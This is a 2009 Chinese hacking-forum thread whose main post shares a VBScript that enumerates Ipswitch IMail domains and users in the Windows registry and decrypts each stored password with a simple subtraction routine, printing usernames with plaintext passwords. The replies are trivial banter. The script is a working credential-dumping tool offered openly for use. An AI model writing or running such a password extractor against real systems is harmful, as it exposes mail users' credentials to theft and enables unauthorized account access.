WPE|52wpe|我爱WPE

 找回密码
 注册会员
搜索
  • 2542查看
  • 2回复

主题

好友

154

积分

禁止访问

发表于 2009-5-30 04:45:29 |显示全部楼层
自动从注册表中读取并解密

‘imail password decrypt
‘code by tyw7  2009-4-15
http://www.tyw7.cn


on error resume next
const HKEY_LOCAL_MACHINE = &H80000002
strComputer = “.”
Set oReg=GetObject(”winmgmts:{impersonationLevel=impersonate}!\\” &_
strComputer & “\root\default:StdRegProv”)
strKeyPath = “SOFTWARE\Ipswitch\IMail\Domains”
oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath, arrSubKeys
For Each subkey In arrSubKeys
wscript.echo “Domain: “&subkey
strKeyPath2 = strKeyPath&”\”&subkey&”\Users”
oReg.EnumKey HKEY_LOCAL_MACHINE, strKeyPath2, arrSubKeys2
For Each subkey2 In arrSubKeys2
strKeyPath3=strKeyPath2&”\”&subkey2
strValueName = “Password”
oReg.GetStringValue HKEY_LOCAL_MACHINE,strKeyPath3,strValueName,strValue
if len(subkey2) and len(strValue) then
wscript.echo subkey2 &” : ” & decrypt(subkey2,strValue)
end if
Next
Next

function decrypt(name,pass)
while len(name)<len(pass)/2
name=name&name
wend
for i=0 to len(pass)/2-1
p=mid(pass,2*i+1,2)
p=”&H”&p
n=mid(name,i+1,1)
decrypt=decrypt&chr(clng(p)-asc(n))
next
end function

主题

好友

320

积分

中级会员

发表于 2010-1-12 18:07:34 |显示全部楼层
3楼的,你看的懂吖?
回复

使用道具 举报

主题

好友

88

积分

注册会员

发表于 2010-1-30 10:12:46 |显示全部楼层
本帖最后由 哥自横刀向天笑 于 2010-5-9 17:43 编辑

难道楼主就是那急如风,静如林,掠如火,不动如山,号称一朵梨花压海棠,人送绰号天下地无所不能玉面小飞龙,英俊与智慧的化身,侠义与仁义的糅合得周星星身边的汪财?

















广告已被和谐!
回复

使用道具 举报

快速发帖

您需要登录后才可以回帖 登录 | 注册会员

手机版|Archiver|WPE|52wpe|我爱WPE ( 闽ICP备15009081号 )

GMT+8, 2024-5-9 07:23 , Processed in 0.052864 second(s), 16 queries .

返回顶部